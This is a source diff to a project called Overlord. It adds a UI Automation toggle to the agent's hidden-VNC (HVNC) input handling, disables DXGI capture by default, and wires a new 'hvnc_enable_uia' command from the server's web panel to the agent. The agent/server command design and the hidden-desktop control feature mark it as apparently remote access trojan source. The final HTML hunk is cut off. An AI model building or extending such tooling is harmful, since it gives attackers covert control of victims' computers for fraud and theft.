diff --git a/Overlord-Client/cmd/agent/capture/hvnc_stub.go b/Overlord-Client/cmd/agent/capture/hvnc_stub.go
index 332e78d..bcc4a9a 100644
--- a/Overlord-Client/cmd/agent/capture/hvnc_stub.go
+++ b/Overlord-Client/cmd/agent/capture/hvnc_stub.go
@@ -19,6 +19,10 @@ func SetHVNCDXGIEnabled(enabled bool) {}
func GetHVNCDXGIEnabled() bool { return false }
+func SetHVNCUIAEnabled(enabled bool) {}
+
+func GetHVNCUIAEnabled() bool { return false }
+
func hvncCaptureDisplay(display int) (*image.RGBA, error) {
return nil, errors.New("HVNC not supported on this platform")
}
diff --git a/Overlord-Client/cmd/agent/capture/hvnc_windows.go b/Overlord-Client/cmd/agent/capture/hvnc_windows.go
index 9d6de35..7b52d94 100644
--- a/Overlord-Client/cmd/agent/capture/hvnc_windows.go
+++ b/Overlord-Client/cmd/agent/capture/hvnc_windows.go
@@ -1082,7 +1082,7 @@ func hvncMouseMoveOnThread(display int, x, y int32) error {
procSetFocus.Call(hitHwnd)
}
- if isWinUI3Window(hitHwnd) {
+ if hvncUIAEnabled.Load() && isWinUI3Window(hitHwnd) {
uiaHandleDragMove(pt)
uiaHandleMouseMove(hitHwnd, pt)
return nil
@@ -1111,7 +1111,7 @@ func hvncMouseButtonOnThread(button int, down bool) error {
}
// WinUI3 branch: route through UIA patterns
- if isWinUI3Window(hitHwnd) {
+ if hvncUIAEnabled.Load() && isWinUI3Window(hitHwnd) {
return uiaHandleMouseButton(hitHwnd, pt, button, down)
}
@@ -1233,7 +1233,7 @@ func hvncKeyOnThread(vk uint16, down bool) error {
}
updateModifierState(vk, down)
- if isWinUI3Window(hwnd) {
+ if hvncUIAEnabled.Load() && isWinUI3Window(hwnd) {
if isModifierVK(vk) {
return nil
}
@@ -1506,7 +1506,7 @@ func hvncMouseWheelOnThread(delta int32) error {
}
}
- if isWinUI3Window(hwnd) {
+ if hvncUIAEnabled.Load() && isWinUI3Window(hwnd) {
return uiaHandleMouseWheel(hwnd, pt, delta)
}
@@ -1704,9 +1704,11 @@ func hvncFreeCacheEntry(entry *hvncWinCacheEntry) {
var dxgiFrameBuf []byte
var hvncDXGIEnabled atomic.Bool
+var hvncUIAEnabled atomic.Bool
func init() {
- hvncDXGIEnabled.Store(true) // enabled by default
+ hvncDXGIEnabled.Store(false) // disabled by default
+ hvncUIAEnabled.Store(false) // disabled by default
}
func SetHVNCDXGIEnabled(enabled bool) {
@@ -1717,6 +1719,14 @@ func GetHVNCDXGIEnabled() bool {
return hvncDXGIEnabled.Load()
}
+func SetHVNCUIAEnabled(enabled bool) {
+ hvncUIAEnabled.Store(enabled)
+}
+
+func GetHVNCUIAEnabled() bool {
+ return hvncUIAEnabled.Load()
+}
+
func drawHVNCWindowFromDXGI(hwnd uintptr, winLeft, winTop, winW, winH int, bounds image.Rectangle, target []byte, targetStride int) bool {
if !hvncDXGIEnabled.Load() {
return false
diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go
index c25e5e7..2145976 100644
--- a/Overlord-Client/cmd/agent/handlers/command.go
+++ b/Overlord-Client/cmd/agent/handlers/command.go
@@ -1071,6 +1071,18 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
capture.SetHVNCDXGIEnabled(dxgiEnabled)
sendCommandResultSafe(env, cmdID, true, "")
return nil
+ case "hvnc_enable_uia":
+ payload, _ := envelope["payload"].(map[string]interface{})
+ uiaEnabled := true
+ if payload != nil {
+ if v, ok := payload["enabled"].(bool); ok {
+ uiaEnabled = v
+ }
+ }
+ log.Printf("hvnc: UIA support %v", uiaEnabled)
+ capture.SetHVNCUIAEnabled(uiaEnabled)
+ sendCommandResultSafe(env, cmdID, true, "")
+ return nil
case "hvnc_set_resolution":
payload, _ := envelope["payload"].(map[string]interface{})
maxH := 1080
diff --git a/Overlord-Server/public/assets/hvnc.js b/Overlord-Server/public/assets/hvnc.js
index fdb1360..f92a6b0 100644
--- a/Overlord-Server/public/assets/hvnc.js
+++ b/Overlord-Server/public/assets/hvnc.js
@@ -73,12 +73,14 @@ import { checkFeatureAccess } from "./feature-gate.js";
const statusEl = document.getElementById("streamStatus");
const clipboardSyncCtrl = document.getElementById("clipboardSyncCtrl");
const dxgiCtrl = document.getElementById("dxgiCtrl");
+ const uiaCtrl = document.getElementById("uiaCtrl");
const hvncResolutionSelect = document.getElementById("hvncResolutionSelect");
function syncInputEnableState() {
if (mouseCtrl) sendCmd("hvnc_enable_mouse", { enabled: mouseCtrl.checked });
if (kbdCtrl) sendCmd("hvnc_enable_keyboard", { enabled: kbdCtrl.checked });
if (dxgiCtrl) sendCmd("hvnc_enable_dxgi", { enabled: dxgiCtrl.checked });
+ if (uiaCtrl) sendCmd("hvnc_enable_uia", { enabled: uiaCtrl.checked });
pushHvncResolution();
}
let activeClientId = clientId;
@@ -619,6 +621,11 @@ import { checkFeatureAccess } from "./feature-gate.js";
sendCmd("hvnc_enable_dxgi", { enabled: dxgiCtrl.checked });
});
}
+ if (uiaCtrl) {
+ uiaCtrl.addEventListener("change", function () {
+ sendCmd("hvnc_enable_uia", { enabled: uiaCtrl.checked });
+ });
+ }
function pushHvncResolution() {
if (hvncResolutionSelect) {
diff --git a/Overlord-Server/public/hvnc.html b/Overlord-Server/public/hvnc.html
index a4172aa..711b87c 100644
--- a/Overlord-Server/public/hvnc.html
+++ b/Overlord-Server/public/hvnc.html
@@ -137,6 +137,9 @@
> DXGI Capture
+